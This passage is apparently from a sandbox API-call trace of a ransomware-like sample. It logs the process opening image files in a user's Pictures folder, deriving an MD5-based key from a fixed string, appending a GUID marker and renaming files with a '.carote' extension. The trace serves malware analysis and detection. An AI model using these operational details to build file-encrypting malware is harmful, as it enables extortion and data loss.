dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.437] GetLastError () returned 0x0 [0113.437] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.437] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.438] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9691, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.438] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.438] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.438] CloseHandle (hObject=0x61c) returned 1 [0113.439] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\6eE0Shwl09PRJ2R3v.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\6ee0shwl09prj2r3v.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\6eE0Shwl09PRJ2R3v.jpg.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\6ee0shwl09prj2r3v.jpg.carote")) returned 1 [0113.440] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e02d90, ftCreationTime.dwHighDateTime=0x1d4cc3b, ftLastAccessTime.dwLowDateTime=0x5ced3fd0, ftLastAccessTime.dwHighDateTime=0x1d4cee2, ftLastWriteTime.dwLowDateTime=0x5ced3fd0, ftLastWriteTime.dwHighDateTime=0x1d4cee2, nFileSizeHigh=0x0, nFileSizeLow=0x60d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cFaN104B.bmp", cAlternateFileName="")) returned 1 [0113.440] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\cFaN104B.bmp") returned=".bmp" [0113.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\cFaN104B.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\cfan104b.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.440] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=24790) returned 1 [0113.440] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.442] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x60b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.442] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.443] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x60d6, lpOverlapped=0x0) returned 1 [0113.444] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.444] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.444] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.444] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.445] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.445] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.445] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.445] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.445] GetLastError () returned 0x0 [0113.445] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.445] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.445] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x60d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.445] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.445] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.445] CloseHandle (hObject=0x61c) returned 1 [0113.446] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\cFaN104B.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\cfan104b.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\cFaN104B.bmp.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\cfan104b.bmp.carote")) returned 1 [0113.447] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x741777b0, ftCreationTime.dwHighDateTime=0x1d4cff1, ftLastAccessTime.dwLowDateTime=0x70699d50, ftLastAccessTime.dwHighDateTime=0x1d4ceb1, ftLastWriteTime.dwLowDateTime=0x70699d50, ftLastWriteTime.dwHighDateTime=0x1d4ceb1, nFileSizeHigh=0x0, nFileSizeLow=0x18942, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pit8u.gif", cAlternateFileName="")) returned 1 [0113.447] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\pit8u.gif") returned=".gif" [0113.447] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\pit8u.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\pit8u.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.448] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=100674) returned 1 [0113.448] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.449] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1891c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.450] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.451] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x18942, lpOverlapped=0x0) returned 1 [0113.452] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.452] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.452] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.452] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.453] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.453] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.453] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.453] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.453] GetLastError () returned 0x0 [0113.453] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.453] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.454] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18942, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.454] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.454] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.454] CloseHandle (hObject=0x61c) returned 1 [0113.455] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\pit8u.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\pit8u.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\pit8u.gif.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\pit8u.gif.carote")) returned 1 [0113.456] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb02ef10, ftCreationTime.dwHighDateTime=0x1d4cab5, ftLastAccessTime.dwLowDateTime=0x3f160300, ftLastAccessTime.dwHighDateTime=0x1d4cb01, ftLastWriteTime.dwLowDateTime=0x3f160300, ftLastWriteTime.dwHighDateTime=0x1d4cb01, nFileSizeHigh=0x0, nFileSizeLow=0x1026c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pItKXTuCp5WopM.jpg", cAlternateFileName="PITKXT~1.JPG")) returned 1 [0113.456] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\pItKXTuCp5WopM.jpg") returned=".jpg" [0113.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\pItKXTuCp5WopM.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\pitkxtucp5wopm.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.456] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=66156) returned 1 [0113.456] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.458] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10246, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.458] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.460] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x1026c, lpOverlapped=0x0) returned 1 [0113.460] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.460] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.461] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.461] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.461] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.461] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.461] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.461] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.461] GetLastError () returned 0x0 [0113.462] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.462] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.462] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1026c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.462] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.462] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.462] CloseHandle (hObject=0x61c) returned 1 [0113.463] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\pItKXTuCp5WopM.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\pitkxtucp5wopm.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\pItKXTuCp5WopM.jpg.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\pitkxtucp5wopm.jpg.carote")) returned 1 [0113.465] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x395d1010, ftCreationTime.dwHighDateTime=0x1d4d2b9, ftLastAccessTime.dwLowDateTime=0xbffae1e0, ftLastAccessTime.dwHighDateTime=0x1d4cad2, ftLastWriteTime.dwLowDateTime=0xbffae1e0, ftLastWriteTime.dwHighDateTime=0x1d4cad2, nFileSizeHigh=0x0, nFileSizeLow=0x1826f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X-Df2Wyu2HWPvmnSy.png", cAlternateFileName="X-DF2W~1.PNG")) returned 1 [0113.465] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\X-Df2Wyu2HWPvmnSy.png") returned=".png" [0113.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\X-Df2Wyu2HWPvmnSy.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\x-df2wyu2hwpvmnsy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.465] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=98927) returned 1 [0113.465] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.467] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18249, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.467] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.468] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x1826f, lpOverlapped=0x0) returned 1 [0113.469] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.469] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.469] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.469] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.470] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.470] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.470] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.470] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.470] GetLastError () returned 0x0 [0113.470] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.470] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.471] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1826f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.471] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.471] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.471] CloseHandle (hObject=0x61c) returned 1 [0113.472] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\X-Df2Wyu2HWPvmnSy.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\x-df2wyu2hwpvmnsy.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\X-Df2Wyu2HWPvmnSy.png.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\x-df2wyu2hwpvmnsy.png.carote")) returned 1 [0113.473] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x395d1010, ftCreationTime.dwHighDateTime=0x1d4d2b9, ftLastAccessTime.dwLowDateTime=0xbffae1e0, ftLastAccessTime.dwHighDateTime=0x1d4cad2, ftLastWriteTime.dwLowDateTime=0xbffae1e0, ftLastWriteTime.dwHighDateTime=0x1d4cad2, nFileSizeHigh=0x0, nFileSizeLow=0x1826f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X-Df2Wyu2HWPvmnSy.png", cAlternateFileName="X-DF2W~1.PNG")) returned 0 [0113.473] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.473] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.474] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.474] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\") returned="gqtiv9s2isdbdOiFE-3Q\\" [0113.474] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\") returned="rBkn83DAvewyB\\" [0113.474] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0113.474] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.474] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.474] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.474] PathFindFileNameW (pszPath="") returned="" [0113.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.474] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x452e60a0, ftCreationTime.dwHighDateTime=0x1d4c752, ftLastAccessTime.dwLowDateTime=0x9dcbb110, ftLastAccessTime.dwHighDateTime=0x1d4cbdd, ftLastWriteTime.dwLowDateTime=0x9dcbb110, ftLastWriteTime.dwHighDateTime=0x1d4cbdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.476] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x452e60a0, ftCreationTime.dwHighDateTime=0x1d4c752, ftLastAccessTime.dwLowDateTime=0x9dcbb110, ftLastAccessTime.dwHighDateTime=0x1d4cbdd, ftLastWriteTime.dwLowDateTime=0x9dcbb110, ftLastWriteTime.dwHighDateTime=0x1d4cbdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.476] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab12fe10, ftCreationTime.dwHighDateTime=0x1d4d375, ftLastAccessTime.dwLowDateTime=0x8d6b8e10, ftLastAccessTime.dwHighDateTime=0x1d4ce87, ftLastWriteTime.dwLowDateTime=0x8d6b8e10, ftLastWriteTime.dwHighDateTime=0x1d4ce87, nFileSizeHigh=0x0, nFileSizeLow=0x1201c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="acx5oTi2.gif", cAlternateFileName="")) returned 1 [0113.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x50f5608 [0113.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.476] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\acx5oTi2.gif") returned=".gif" [0113.476] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\acx5oTi2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\acx5oti2.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.477] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=73756) returned 1 [0113.477] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.478] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11ff6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.478] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.484] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.484] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x1201c, lpOverlapped=0x0) returned 1 [0113.485] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.485] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.485] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.485] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.485] CryptAcquireContextW 